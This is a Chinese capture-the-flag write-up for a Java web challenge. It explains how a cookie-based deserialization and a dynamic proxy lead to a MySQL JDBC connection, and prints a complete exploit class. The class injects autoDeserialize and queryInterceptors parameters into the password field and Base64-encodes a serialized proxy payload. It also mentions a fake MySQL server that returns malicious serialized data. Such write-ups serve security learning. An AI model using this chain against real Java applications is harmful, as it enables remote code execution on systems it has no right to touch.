知识点
动态代理触发实体类的危险方法+jdbc mysql反序列化
解题过程
先看一下Controller里面的代码:
整体的逻辑还是比较简单的,就是在index传入username和password,然后把这些数据封装到UserInfo对象,并存储到Cookie作为登录凭证。当我们访问hello的时候,Cookie中的数据会被deserialize,我们的username和pasword也就出来了。
那么应该可以想到这么一些东西:deserialize的数据在cookie里,而cookie的数据我们可控,即我们可以操纵反序列化的数据
上面的东西是题目的一环,不过条件还没用完,我们去看看其他文件,能够发现DatabaseInfo里面有数据库连接的行为:
connect()里面的密码是直接拼接的,意味着我们可以在后面添加任意参数。然后这个checkAllInfo又调用了connect()。那怎么样才能触发这个checkAllInfo呢?这个就要用到我们的最后一个条件,动态代理。
去看看这个动态代理:
很明显,这个invoke里面是有checkAllInfo的,而且只要调用被动态代理类的方法,这个invoke就肯定会被调用。那整条链子就出来了,先直接看EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
   | package gdufs.challenge.web;
  import gdufs.challenge.web.invocation.InfoInvocationHandler; import gdufs.challenge.web.model.DatabaseInfo; import gdufs.challenge.web.model.Info;
  import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Proxy; import java.util.Base64;
  public class EXP {     public static void main(String[] args) throws IOException {         DatabaseInfo databaseInfo = new DatabaseInfo();         databaseInfo.setHost("127.0.0.1");         databaseInfo.setPort("3309");         databaseInfo.setPassword("123456&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");         databaseInfo.setUsername("root");         InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);         Info info=(Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(),databaseInfo.getClass().getInterfaces(), infoInvocationHandler);         byte[] bytes = serializeBytes(info);         System.out.println(Base64.getEncoder().encodeToString(bytes));     }
      public static  byte[] serializeBytes(Object object) throws IOException {         ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();         ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);         objectOutputStream.writeObject(object);         return byteArrayOutputStream.toByteArray();     } }
   | 
 
我这里正向整理一遍:deserialize后得到我们设置的DatabaseInfo的动态代理,赋值给info;info.getAllInfo()触发动态代理里面的invoke();invoke里面的checkAllInfo()触发DatabaseInfo里面的connect()。从而触发漏洞。
接下来只要用python在3309端口开一个fake mysql的服务,然后返回恶意的序列化数据就可以了,就是之前学的mysql jdbc反序列化里面的内容。